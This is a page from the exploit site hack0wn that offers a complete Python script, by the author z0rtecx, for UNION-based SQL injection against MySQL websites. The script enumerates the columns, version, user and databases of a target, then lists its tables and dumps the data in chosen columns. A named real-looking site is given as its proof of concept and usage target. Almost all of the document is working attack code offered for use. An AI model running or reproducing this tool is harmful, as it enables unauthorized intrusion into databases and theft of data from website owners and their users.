[ Home ] [ Hack Exploits ] [ Search ] [ About ] db: 3
hack0wn

HACKS AND EXPLOITS... EXPOSED!



[ detailed information ]

Author:z0rtecx


Title:Tool for dump data MySQL using SQL Injection
Language: :PYTHON
Hits:6392


Gold: 0
Related:R
Download:D


Share:

[ content ]

"""

***** Extract tool for MySQL *****

@author: z0rtecx
@release date: dec-2014
@version: 1.0.30122014
@poc: http://www.jas-simon.eu/newsdetail.php?id=1004
@description: The main method of the tool, is UNION technique in ID parameter. ONLY FOR MySQL DBMS.
@features:
	- number of columns
	- number of column to inject
	- name of current DB
	- path of DB files
	- version of MySQL
	- user of MySQL
	- complete list of DB's of target system
	- complete list of tables of current DB
	- dump columns of selected table
	- dump data of selected columns

@usage:
	usage: tool.py [-h] [-u URL] [-s]

	optional arguments:
  		-h, --help  show this help message and exit
  		-u URL      specify target whit [-] in ID
  		-s, --save  save dump in file
@example:
	$ python tool.py -u http://www.jas-simon.eu/newsdetail.php?id=-1004
	
	OR

	$ python tool.py -s -u http://www.jas-simon.eu/newsdetail.php?id=-1004
"""


#!/usr/bin/python

import urllib2
import re
import argparse
import sys


#### CONSTANTS ####
AND = "+AND+"
UNION = "+union+all+select+"
CHAR = "char("
DB = "database()"
COMM = "--"
SCHEMA = "information_schema"
DP = "0x3a"
COM = ","
COLUMN = ""
URL = ""
USER = "user()"
FROM = "+FROM+"
SCHEMA_NAME = "schema_name"
VERSION = "version()"
WHERE = "+WHERE+"
GROUP_CONCAT = "group_concat("
CONCAT = "concat("
CP = ")"
AP = "("
TABLE_NAME = "table_name"
TABLE_SCHEMA = "table_schema="
IZQ = DP + COM + DP + COM
DER = COM + DP + COM + DP
TROZO = ""
TROZO2 = ""
COUNT = "count(*)"
TABLE = ""
DIR = "@@datadir"
LIMIT = "+limit+"
POS = 0
CURRENT_DB = ""
###################


# Colors
class bcolors:
    ROSA = '\033[95m'
    AZUL = '\033[94m'
    VERDE = '\033[92m'
    AMARILLO = '\033[93m'
    ROJO = '\033[91m'
    ENDC = '\033[0m'
# End of Colors



# CREDITS #

CREDITS = bcolors.AZUL + "\n***** Extract tool for MySQL v.1.0 by z0rtecx *****\n" + bcolors.ENDC



# Request
def request(url):
	try:
  		req = urllib2.urlopen(urllib2.Request(url)).read()
		if re.search('::(.+?)::', req):
			global COLUMN
			global POS 
			columns = re.findall('::(.+?)::', req)
			COLUMN = columns[0]
			i = 1
			while not COLUMN.strip() or not COLUMN.isdigit():
				COLUMN = columns[i]
				POS = i
				i += 1
			return False
		else:
			return True
	except:
		return True
# end Request



# Find columns
def findColumns(url):
	url2 = url + UNION + "1"
	url = url + UNION + CONCAT + IZQ + "1" + DER + CP
	count = 1
	while((request(url + COMM)) and (count < 50)):
		count = count + 1
		url = url + COM + CONCAT + IZQ + str(count) + DER + CP
		url2 = url2 + COM + str(count)
	if count == 50:
		return bcolors.ROJO + "\nLimit exceeded" + bcolors.ENDC
	else:
		global URL
		URL = url
		return url2 + COMM
		
# end Find columns



# Dump
def dump(url):
	data = urllib2.urlopen(urllib2.Request(url)).read()
	salida = re.findall('::(.+?)::', data)
	return salida[POS]
# end of Dump



# String to Ascii
def toAscii(word):
	lista = [ord(c) for c in word]
	salida = ""
	contador = 0
	for i in lista:
		contador = contador + 1
		if contador != len(lista):
			salida = salida + str(i) + ","
		else:
			salida = salida + str(i)
	return salida
# end of to Ascii



# dump data
def dumpData(url):
	global TROZO
	global TROZO2
	result = []

	patron = IZQ + COLUMN + DER

	match = re.search(patron, url)
	pos = match.start(0)
	TROZO = url[:pos]
	TROZO2 = url[pos+len(patron):]

	# COLUMN to inject
	result.append(bcolors.VERDE + "Column to inject: " + COLUMN + bcolors.ENDC + "\n")

	# Current directory
	try:
		cadena = TROZO + IZQ + DIR + DER + TROZO2 + COMM
		result.append("Path of DB files: " + dump(cadena) + "\n")
	except:
		result.append("Path of DB files: " + "\n")

	# Version of MySQL
	cadena = TROZO + IZQ + VERSION + DER + TROZO2 + COMM
	result.append("Version: " + dump(cadena) + "\n")
	
	# Dump Database
	cadena = TROZO + IZQ + DB + DER + TROZO2 + COMM
	global CURRENT_DB
	CURRENT_DB = dump(cadena)
	result.append("Current Database: " + CURRENT_DB + "\n")
	
	# Dump user
	cadena = TROZO + IZQ + USER + DER + TROZO2 + COMM
	result.append("User: " + dump(cadena) + "\n")
	
	# Dump list of databases
	try: 
		cadena = TROZO + IZQ + GROUP_CONCAT + SCHEMA_NAME + CP + DER + TROZO2 + FROM + SCHEMA + ".schemata" +  COMM
		result.append("List of databases: " + dump(cadena) + "\n")
	except:
		result.append("List of databases: " + "\n")
	
	return result
	
# end of dump data



# Dump list of tables
def dumpTables(database):
	global DB
	DB = database
	maximo = TROZO + IZQ + COUNT + DER + TROZO2 + FROM + SCHEMA + ".tables" + WHERE + TABLE_SCHEMA + CHAR + toAscii(DB) + CP + COMM
	maximo = dump(maximo)
	for i in range(0, int(maximo)):
		cadena = TROZO + IZQ + CONCAT + TABLE_NAME + CP + DER + TROZO2 + FROM + SCHEMA + ".tables" + WHERE + TABLE_SCHEMA + CHAR + toAscii(DB) + CP + LIMIT + str(i) + "," + str(1) + COMM
		print dump(cadena)
# end of dump list of tables



# Dump columns data
def dumpColumns(table):
	if not table:
		return ""
	maximo = TROZO + IZQ + COUNT + DER + TROZO2 + FROM + SCHEMA + ".columns" + WHERE + TABLE_SCHEMA + CHAR + toAscii(DB) + CP + AND + TABLE_NAME + "=" + CHAR + toAscii(table) + CP + COMM
	maximo = dump(maximo)
	global TABLE
	TABLE = table
	for i in range(0, int(maximo)):
		cadena = TROZO + IZQ + CONCAT + "column_name" + CP + DER + TROZO2 + FROM + SCHEMA + ".columns" + WHERE + TABLE_SCHEMA + CHAR + toAscii(DB) + CP + AND + TABLE_NAME + "=" + CHAR + toAscii(table) + CP + LIMIT + str(i) + "," + str(1) + COMM
		print dump(cadena)
# end of dump columns data



# Dump data from colums
def dumpDataColumn(column1, column2):
	salida = []
	if not column1:
		return ""
	maximo = TROZO + IZQ + CONCAT + COUNT + CP + DER + TROZO2 + FROM + DB + "." + TABLE + COMM
	try:
		maximo = dump(maximo)
	except IndexError:
		print bcolors.ROJO + "\nCan't dump data for this table, try with current database.\n" + bcolors.ENDC
		return ""
		
	for i in range(0, int(maximo)):
		cadena = TROZO + IZQ + column1 + COM + DP + COM + column2 + DER + TROZO2 + FROM + DB + "." + TABLE + LIMIT + str(i) + "," + str(1) + COMM
		print dump(cadena)
		salida.append(dump(cadena))
	return salida
# end of dump data from columns



# get the web name
def getWebName(url):
	name = re.findall("((http\://|https\://|ftp\://)|(www.))+(([a-zA-Z0-9\.-]+\.[a-zA-Z]{2,4})|([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}))(/[a-zA-Z0-9%:/-_\?\.'~]*)?", url)
	return name[0][3]
# end of get the web name



# dump data in file
def dumpDataFile(data, webName):
	f = open(webName + ".txt", 'a')
	for i in data:
		f.write(i + "\n")
	f.close()
# end of dump data in file




def main():
	parser = argparse.ArgumentParser(description="Simple MySQL injection Tool by z0rtecx")
	parser.add_argument("-u", dest="url", help="specify target whit - in ID")
	parser.add_argument("-s", "--save", help="save dump in file", action="store_true")
	args = parser.parse_args()
	url = args.url
	if (url == None):
		parser.print_help()
		exit(0)
	print CREDITS
	print "Trying UNION attack, please wait...\n"
	url2 = findColumns(url)
	print "\n" + url2 + "\n"
	try:
		data = dumpData(URL)
		for i in data:
			print i
		database = raw_input("\nType the database to dump tables: ")
		print "\nList tables: \n"
		dumpTables(database)
		table = raw_input("\nType the table to dump columns: ")
		dumpColumns(table)
		column1 = raw_input("\nType the column to dump data: ")
		column2 = raw_input("\nType the other column: ")
		print "\n"
		columnData = dumpDataColumn(column1, column2)
		if args.save:
			dumpDataFile(columnData, getWebName(url))
		else:
			print "\n"
		sys.exit()
	except AttributeError:
		sys.exit()
	except urllib2.HTTPError:
		print bcolors.ROJO + "HTTP Error 500: Internal Server Error" + bcolors.ENDC + "\n"
		sys.exit()
if __name__ == "__main__":
	main()


[ about author ]

Name:z0rtecx


Email:z0rtecx[at]eml[dot]cc
Webpage:http://www.nodexploit.com/


About:Hack0wn Team




send all submissions to staff@hack0wn.com [gpg]

Copyright 2014 hack0wn